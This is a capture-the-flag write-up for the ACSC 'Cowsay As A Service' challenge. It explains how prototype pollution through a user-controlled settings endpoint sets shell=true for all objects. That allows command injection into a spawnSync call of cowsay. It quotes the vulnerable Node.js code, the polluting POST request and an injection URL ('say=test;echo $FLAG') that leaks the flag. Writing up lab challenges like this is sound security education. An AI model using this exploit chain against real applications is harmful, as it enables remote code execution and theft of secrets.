Cowsay As A Service
Prototype pollution leads to RCE

Description

Enjoy your cowsay life with our Cowsay as a Service! You can spawn your private instance from https://cowsay-as-a-service.chal.acsc.asia/. Notice: Please do not spawn too many instances since our server resource is limited. You can check the source code and run it in your local machine before do that. Each instances are alive only for 5 minutes. But don't worry! You can spawn again even if your instance expired.\
https://cowsay-as-a-service.chal.acsc.asia/
cowsay-as-a-service.tar.gz_b1f19fe170867369eb5297d2b9d4cc29.gz
9KB
Binary
Challenge Files

Solution

The /usr/games/cowsay game is run from child_process.spawnSync.
1
router.get('/cowsay', (ctx, next) => {
2
const setting = settings[ctx.state.user];
3
const color = setting?.color || '#000000';
4
​
5
let cowsay = '';
6
if (ctx.request.query.say) {
7
const result = child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say], { timeout: 500 });
8
cowsay = result.stdout.toString();
9
}
Copied!
The settings endpoint sets the settings for ctx.state.user, which is also equal to the username cookie. The setting name is also user-controlled.
1
router.post('/setting/:name', (ctx, next) => {
2
if (!settings[ctx.state.user]) {
3
settings[ctx.state.user] = {};
4
}
5
const setting = settings[ctx.state.user];
6
setting[ctx.params.name] = ctx.request.body.value;
7
ctx.redirect('/cowsay');
8
});
Copied!
This allows us to perform prototype pollution. I used __proto__ as the username, which will set settings for {}.__proto__. Then, we can use shell as the setting name to set shell=true for all objects.
1
POST /setting/shell HTTP/1.1
2
Host: localhost:3000
3
​
4
...
5
​
6
{
7
"value": true
8
}
Copied!
This makes the command run within a shell, allowing us to perform command injection:
http://cowsay-nodes.chal.acsc.asia:64280/cowsay?say=test;echo%20$FLAG
This will output the FLAG environment variable.
ACSC{(oo)<Moooooooo_B09DRWWCSX!}
Copy link